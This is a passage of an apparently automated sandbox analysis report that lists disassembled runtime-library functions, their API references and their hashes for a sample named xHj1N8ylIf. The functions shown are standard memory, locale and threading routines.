Opcode ID: 43b792a5a447c02ee4323b4b592b83964887b39c96b608aedd4e391bd4d7e76a
Instruction ID: dbabf93fd992c6aa24b59fe2aa5ccd81d2dc28951c979e5d5949346462015c31
Opcode Fuzzy Hash: 43b792a5a447c02ee4323b4b592b83964887b39c96b608aedd4e391bd4d7e76a
Instruction Fuzzy Hash: 87F0F4369403012BA7012B78AC4C99B3AECE945725320052BF711E2AE0EFB6C8008A5C

Function 0211E641 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0211E65F

Part of subcall function 02120381: HeapFree.KERNEL32(00000000,00000000,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?), ref: 02120397
Part of subcall function 02120381: GetLastError.KERNEL32(?,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?,?), ref: 021203A9

_free.LIBCMT ref: 0211E671
_free.LIBCMT ref: 0211E684
_free.LIBCMT ref: 0211E695
_free.LIBCMT ref: 0211E6A6

Strings

8hE, xrefs: 0211E655

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: 8hE
API String ID: 776569668-2125150602
Opcode ID: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction ID: 1a3861ca850980e75097c05e325179874de024fc8d127ad1281df62834e31976
Opcode Fuzzy Hash: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction Fuzzy Hash: DFF03A70849770DF8B41AF25AD804457B66A72A723B9117A6F80157272C7788E9A8F8C

Function 0211F04B Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,0211F29C,00000001,00000001,?), ref: 0211F0A5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0211F29C,00000001,00000001,?,?,?,?), ref: 0211F12B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0211F225
__freea.LIBCMT ref: 0211F232

Part of subcall function 021205BE: RtlAllocateHeap.NTDLL(00000000,020FAB22,00000000), ref: 021205F0

__freea.LIBCMT ref: 0211F23B
__freea.LIBCMT ref: 0211F260

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 3908960e0c2c45bfd36e37b0ff8dd7727ae5519ddf4b2ee8c4d167c17e63979f
Instruction ID: 278efa0d2718c38c99f84321ca24ebf75294e3f7269790be94fbfe60ad28573f
Opcode Fuzzy Hash: 3908960e0c2c45bfd36e37b0ff8dd7727ae5519ddf4b2ee8c4d167c17e63979f
Instruction Fuzzy Hash: 2751F3B2680316AFEB298F64CC41EEF77AAEB48714F154639FD04D6540EB34DC46CA90

Function 0042AE62 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0042AE8E
__cftoe.LIBCMT ref: 0042AEC0

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 6906d5393f84e211e60cd1a403f4cde10c993a927dc07de2227deb056ea7b5b8
Instruction ID: 5bdceb180790f90ae17a11cb1ae35eeeabbfa0513e87e29e014759498897305c
Opcode Fuzzy Hash: 6906d5393f84e211e60cd1a403f4cde10c993a927dc07de2227deb056ea7b5b8
Instruction Fuzzy Hash: 33515B72A00215ABDF249B69AC41F6F77A8EF08334F91421FFC24D2282DB3DD911866D

Function 0211B0C9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0211B0F5
__cftoe.LIBCMT ref: 0211B127

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 915a803b04a245e0858a537f021c1983a95ca4e5625e1150935bcae2ae6578d4
Instruction ID: 47bff4f503b2f2bac8becee5bda50b1b6c8ea85d14e63941322ffccec81bd03c
Opcode Fuzzy Hash: 915a803b04a245e0858a537f021c1983a95ca4e5625e1150935bcae2ae6578d4
Instruction Fuzzy Hash: 1B513932988205AFDB249F68DC80FAE77B9EF49378F154239F815D6281EB31D7058A64

Function 0210FCCB Relevance: 9.1, APIs: 6, Instructions: 106COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetRealizedChore.LIBCONCRT ref: 0210FCF1

Part of subcall function 02105752: RtlInterlockedPopEntrySList.NTDLL(?), ref: 0210575D

SafeSQueue.LIBCONCRT ref: 0210FD0A
Concurrency::location::_Assign.LIBCMT ref: 0210FDCA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0210FDEB
__CxxThrowException@8.LIBVCRUNTIME ref: 0210FDF9

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AssignBase::ChoreConcurrency::details::Concurrency::location::_EntryException@8InterlockedListQueueRealizedSafeSchedulerThrowstd::invalid_argument::invalid_argument
String ID:
API String ID: 3496964030-0
Opcode ID: 9692a1e3b47559808de2f50d56826d1c7021818166b378e9d7c25d7d0e5f3def
Instruction ID: b5a8d5f67f63df1d9492af01fcf417b77cd3426c2ab9fc368d0454e3940a17a9
Opcode Fuzzy Hash: 9692a1e3b47559808de2f50d56826d1c7021818166b378e9d7c25d7d0e5f3def
Instruction Fuzzy Hash: 0A31DD316406119FCB25EF64C8C1BAAB7B2FF44314F148569D91A9BAD2DBB0E846CFD0

Function 02115BD4 Relevance: 9.1, APIs: 6, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 02115C27
FindMITargetTypeInstance.LIBVCRUNTIME ref: 02115C40
FindVITargetTypeInstance.LIBVCRUNTIME ref: 02115C47
PMDtoOffset.LIBCMT ref: 02115C66

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID:
API String ID: 1467055271-0
Opcode ID: 91b17af48ad28fe8782228f2028f9ed0dc2cdafd8621eae7be7578cecaca824e
Instruction ID: 5b6bbe793177232f2db2280e3599bb25be4e7ef3319e905d620737b108b190bb
Opcode Fuzzy Hash: 91b17af48ad28fe8782228f2028f9ed0dc2cdafd8621eae7be7578cecaca824e
Instruction Fuzzy Hash: 6D210B72684209BFCF18DF64DD45FAD77BBEBC4710B54413AE91193280D735E900DA94

Function 020F4BC0 Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

__Cnd_init.LIBCPMT ref: 020F4BD4
__Mtx_init.LIBCPMT ref: 020F4BFA
std::_Cnd_initX.LIBCPMT ref: 020F4C1D
__Thrd_start.LIBCPMT ref: 020F4C42
std::_Cnd_waitX.LIBCPMT ref: 020F4C62
std::_Cnd_initX.LIBCPMT ref: 020F4C8F

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID:
API String ID: 1687354797-0
Opcode ID: fffca05cae005c60756ea02ea123cea2a59a6691ace37ee45b430404b8463dc5
Instruction ID: 046c03001cc045c4cd98b7a941b73588332fd975bfc2d64cc73263ad118f2afb
Opcode Fuzzy Hash: fffca05cae005c60756ea02ea123cea2a59a6691ace37ee45b430404b8463dc5
Instruction Fuzzy Hash: 47219671D843099AEF85EBE4D880BDEB7F9AF09324F14401AD704B3980DB798905EA75

Function 00425A8A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00425A81,00423402,0043D350,00000008,0043D6B5,?,?,?,?,004206EB,?,?,AF31E10E), ref: 00425A98
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00425AA6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00425ABF
SetLastError.KERNEL32(00000000,?,00425A81,00423402,0043D350,00000008,0043D6B5,?,?,?,?,004206EB,?,?,AF31E10E), ref: 00425B11

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction ID: d87ef7cfaa2b5cfb6cbdbf05b4ef285a61b786d4d239820776c882c3096d8a91
Opcode Fuzzy Hash: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction Fuzzy Hash: 9501F532319B315E962427B57C8A93B2B44EB1237A3A1033FF110422E2EE298C11954C

Function 02115CF1 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,02115CE8,02113669,0212D5B7,00000008,0212D91C,?,?,?,?,02110952,?,?,00456064), ref: 02115CFF
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02115D0D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02115D26
SetLastError.KERNEL32(00000000,?,02115CE8,02113669,0212D5B7,00000008,0212D91C,?,?,?,?,02110952,?,?,00456064), ref: 02115D78

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction ID: 5b4a9d8fc0aa69ae811783205033fc0354380f97cb7344586dc763de3ce739af
Opcode Fuzzy Hash: 5bae1a8dea678c8cb12dac42103e08139ac59edf13a3c4e01be58edb9d361413
Instruction Fuzzy Hash: E001D83618DB526EAB242BB46C8CA36675BEB4177A7A10239E120411E2EF3348419E94

Function 0040923A Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040924B
int.LIBCPMT ref: 00409262

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 0040926B
std::_Facet_Register.LIBCPMT ref: 0040929C
std::_Lockit::~_Lockit.LIBCPMT ref: 004092B2
__CxxThrowException@8.LIBVCRUNTIME ref: 004092D0

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: a7c2fceb3240fe3079bcded35d82f571336d7679c7025fa8bf5e195a6d71d423
Instruction ID: 06c252a83dd3135e677132500c85fc3d3a1f5e0b9d61c5f4000bd1d853819015
Opcode Fuzzy Hash: a7c2fceb3240fe3079bcded35d82f571336d7679c7025fa8bf5e195a6d71d423
Instruction Fuzzy Hash: 3E1170729002299BCF01EBA5C906AEE7774AF44714F14056EF514BB2D3DB3C9E058B99

Function 004044C8 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004044D9
int.LIBCPMT ref: 004044F0

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 004044F9
std::_Facet_Register.LIBCPMT ref: 0040452A
std::_Lockit::~_Lockit.LIBCPMT ref: 00404540
__CxxThrowException@8.LIBVCRUNTIME ref: 0040455E

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 42b6b3e3a3123af3ebf1ade826118e90fdcd75bfa0dd9330882504b78eb845ce
Instruction ID: dd293488768821599cb371ea77f090ab2db1a39f7f3540601cca35f62b779d1f
Opcode Fuzzy Hash: 42b6b3e3a3123af3ebf1ade826118e90fdcd75bfa0dd9330882504b78eb845ce
Instruction Fuzzy Hash: BF11C271900229DBCF01EBA5CC05AEE7774AF80318F54052EF614BB2D2EB3C9E048B99

Function 00404A42 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404A53
int.LIBCPMT ref: 00404A6A

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 00404A73
std::_Facet_Register.LIBCPMT ref: 00404AA4
std::_Lockit::~_Lockit.LIBCPMT ref: 00404ABA
__CxxThrowException@8.LIBVCRUNTIME ref: 00404AD8

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 6d3d345bf601b6a86f5d6d4f3cac9ffbaa478783a2c34762d9aa041ce62c0c34
Instruction ID: 4fd4f03fbd92a07fb90c308499b14f516f44b3dbe61fc36e5286fb37c35ef9b3
Opcode Fuzzy Hash: 6d3d345bf601b6a86f5d6d4f3cac9ffbaa478783a2c34762d9aa041ce62c0c34
Instruction Fuzzy Hash: A4118271A402299BCB11EBA5C805AEE7774AF84318F14452EFA14B72D2DB7C9E04CBDD

Function 00404ADE Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404AEF
int.LIBCPMT ref: 00404B06

Part of subcall function 00408E0D: std::_Lockit::_Lockit.LIBCPMT ref: 00408E1E
Part of subcall function 00408E0D: std::_Lockit::~_Lockit.LIBCPMT ref: 00408E38

std::locale::_Getfacet.LIBCPMT ref: 00404B0F
std::_Facet_Register.LIBCPMT ref: 00404B40
std::_Lockit::~_Lockit.LIBCPMT ref: 00404B56
__CxxThrowException@8.LIBVCRUNTIME ref: 00404B74

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 7442356560c10a0f74f96d2c34c6d78da1443675739352ebeee7129f501752fc
Instruction ID: 7779ca812170c6703d1f98dff001ad2dc706fab2a5d3b22ac56bfd6b97de35ec
Opcode Fuzzy Hash: 7442356560c10a0f74f96d2c34c6d78da1443675739352ebeee7129f501752fc
Instruction Fuzzy Hash: 6111A0719002299BCF00EBA5D945BEE7774AF80318F14452EFA10B72D2DF3CAE008B99

Function 02109360 Relevance: 9.0, APIs: 6, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

atomic_compare_exchange.LIBCONCRT ref: 0210937C
atomic_compare_exchange.LIBCONCRT ref: 021093A0
std::_Cnd_initX.LIBCPMT ref: 021093B1
std::_Cnd_initX.LIBCPMT ref: 021093BF

Part of subcall function 020F1346: __Mtx_unlock.LIBCPMT ref: 020F134D

std::_Cnd_initX.LIBCPMT ref: 021093CF

Part of subcall function 0210908F: __Cnd_broadcast.LIBCPMT ref: 02109096

Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 021093DD

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$atomic_compare_exchange$Cnd_broadcastConcurrency::details::_Counter::_Mtx_unlockRelease
String ID:
API String ID: 4258476935-0
Opcode ID: ac1f6157fba65b8eba4988676842addbd3c7b14e9be5b6c46c19b6913ab84c6e
Instruction ID: f01cedf1e0188efac7481612ef32c000713473f0e330b4b7467ff83de1fba3fb
Opcode Fuzzy Hash: ac1f6157fba65b8eba4988676842addbd3c7b14e9be5b6c46c19b6913ab84c6e
Instruction Fuzzy Hash: 0501F271A41604ABDB10F7B0DCD9BDEB76AAF44310F050011E60097AC1DBB8AA15CFC2

Function 00404DF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00404DFD

Part of subcall function 00408D36: __EH_prolog3_GS.LIBCMT ref: 00408D3D

std::_Locinfo::_Locinfo.LIBCPMT ref: 00404E48
__Getcoll.LIBCPMT ref: 00404E57
std::_Locinfo::~_Locinfo.LIBCPMT ref: 00404E67

Strings

dG@, xrefs: 00404E51

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID: dG@
API String ID: 1836011271-2038112956
Opcode ID: 56846697389a9c3ef9c4aa55fa575bf3a398b5459d1707c560d3e10148e74056
Instruction ID: df46efd116b13b1fab57415698cbce8b2bfdca59dd57f94743174e863f90c4ad
Opcode Fuzzy Hash: 56846697389a9c3ef9c4aa55fa575bf3a398b5459d1707c560d3e10148e74056
Instruction Fuzzy Hash: 17016971A11208EFDB10EFA5C481B9DB7B0BF54319F10852EE445BB2C2DB7C9944CB99

Function 020F505D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 020F5064

Part of subcall function 020F8F9D: __EH_prolog3_GS.LIBCMT ref: 020F8FA4

std::_Locinfo::_Locinfo.LIBCPMT ref: 020F50AF
__Getcoll.LIBCPMT ref: 020F50BE
std::_Locinfo::~_Locinfo.LIBCPMT ref: 020F50CE

Strings

@C, xrefs: 020F505F

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: H_prolog3_Locinfostd::_$GetcollLocinfo::_Locinfo::~_
String ID: @C
API String ID: 1836011271-1618053064
Opcode ID: 636c7bb967cbb9db249d381104dc52cb94bc35a0b80317e78cf569c2403f9c59
Instruction ID: 235a5960006fa7f3b4ffce00af1fca6a2560020a260bb54ccbde4cbb49458cf2
Opcode Fuzzy Hash: 636c7bb967cbb9db249d381104dc52cb94bc35a0b80317e78cf569c2403f9c59
Instruction Fuzzy Hash: 2E01B131990308EFEB80EFA4C440BDDBBF1BF04311F508429D605ABA80DB749544EF91

Function 020FA4D1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 020FDFE2

Part of subcall function 020FD854: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 020FD876
Part of subcall function 020FD854: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 020FD897

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 020FDFF5
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 020FE001
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 020FE00A

Strings

C, xrefs: 020FDFBD

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID: C
API String ID: 4284812201-4181979269
Opcode ID: df53ec2338630c46be62610130b8d5be146df00ddc0400c4b8444ee465787056
Instruction ID: 4c75f6a2462700b400f3344582871a6adb34f8c1d1cda26f552b36bba592c0ea
Opcode Fuzzy Hash: df53ec2338630c46be62610130b8d5be146df00ddc0400c4b8444ee465787056
Instruction Fuzzy Hash: 53F0B4316C030967DBD4FA744855AEE26875B81360F08416AD7116BBD0DF709D05FAA5

Function 0042CB94 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0042CB45,00000003,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002), ref: 0042CBB4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0042CBC7
FreeLibrary.KERNEL32(00000000,?,?,?,0042CB45,00000003,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002,00000000), ref: 0042CBEA

Strings

CorExitProcess, xrefs: 0042CBBF
mscoree.dll, xrefs: 0042CBAD

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2e0c18540c6b152e12a1f27ec5ed3b7b4a64235d451fee64bbe7bfd26fe369e7
Instruction ID: a6d38a367c32ae56f5a65af033c9bef4ee1599bdf8b92764bbdd210fe5f8f2bf
Opcode Fuzzy Hash: 2e0c18540c6b152e12a1f27ec5ed3b7b4a64235d451fee64bbe7bfd26fe369e7
Instruction Fuzzy Hash: 50F0AF34A40218BBDB109B90FC4AF9EBFB8EF05701F4101A9F905A62A0DB74AD50CA9C

Function 00419AAD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00419AC1
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00419AE5
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00419AF8
__CxxThrowException@8.LIBVCRUNTIME ref: 00419B06

Strings

pScheduler, xrefs: 00419AF0

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 3657713681-923244539
Opcode ID: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction ID: 5e77bfba0aea411b2f8783024ebd35b9964dde202969f15405fa3b724ba64b5f
Opcode Fuzzy Hash: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction Fuzzy Hash: 3BF02431A00614A7C620EA41E8A28DEB339AE80759728452FE50263182DBB8AD4AC699

Function 020F4F40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

std::_Cnd_initX.LIBCPMT ref: 020F4F5A
__Cnd_signal.LIBCPMT ref: 020F4F66
std::_Cnd_initX.LIBCPMT ref: 020F4F7B
__Cnd_do_broadcast_at_thread_exit.LIBCPMT ref: 020F4F82

Strings

9C, xrefs: 020F4F40

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_do_broadcast_at_thread_exitCnd_signal
String ID: 9C
API String ID: 2059591211-2494760310
Opcode ID: eae4c9857b1abe072746ceb4c7b4c4976e36c06e3022dd10601dfba5e2ff895d
Instruction ID: a6a96cb8dfc36b1e01af3fb81718cbc14a13b0fc805d724b00c80725fb088ac1
Opcode Fuzzy Hash: eae4c9857b1abe072746ceb4c7b4c4976e36c06e3022dd10601dfba5e2ff895d
Instruction Fuzzy Hash: F0F0EC710807019BEB617B70C80779E77A2AF04325F14481DD38911D90CF79F805BE55

Function 0211801D Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e0c87224ebe04c2faf4fe337a27c89b6cc88f409d7d73ecd505640b7b464386
Instruction ID: e6bf543ff0d1deea5709800f503ef38dca13c6afd1ba44949b9be1765d32f0ba
Opcode Fuzzy Hash: 9e0c87224ebe04c2faf4fe337a27c89b6cc88f409d7d73ecd505640b7b464386
Instruction Fuzzy Hash: 2871F73598061A9FEF2A8F98CC84ABFBB75FF45354F168239E82157180D7708C41CBA0

Function 0211D95B Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 021205BE: RtlAllocateHeap.NTDLL(00000000,020FAB22,00000000), ref: 021205F0

_free.LIBCMT ref: 0211DA66
_free.LIBCMT ref: 0211DA7D
_free.LIBCMT ref: 0211DA9C
_free.LIBCMT ref: 0211DAB7
_free.LIBCMT ref: 0211DACE

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: bac744c16844bc28f67e2a2692f11bfddf22ed7ed3dd1c8455b02ad54f7b3643
Instruction ID: 1b41dd1251cd7ff3e5c4503072b9c187544bffeef36697f799e0b9d314539da8
Opcode Fuzzy Hash: bac744c16844bc28f67e2a2692f11bfddf22ed7ed3dd1c8455b02ad54f7b3643
Instruction Fuzzy Hash: F851D771A84704AFDB24DF29EC81B6AB7F5EF59724F150679E809D7290E731D901CB80

Function 0042E18B Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0042E1FD
_free.LIBCMT ref: 0042E21D

Memory Dump Source

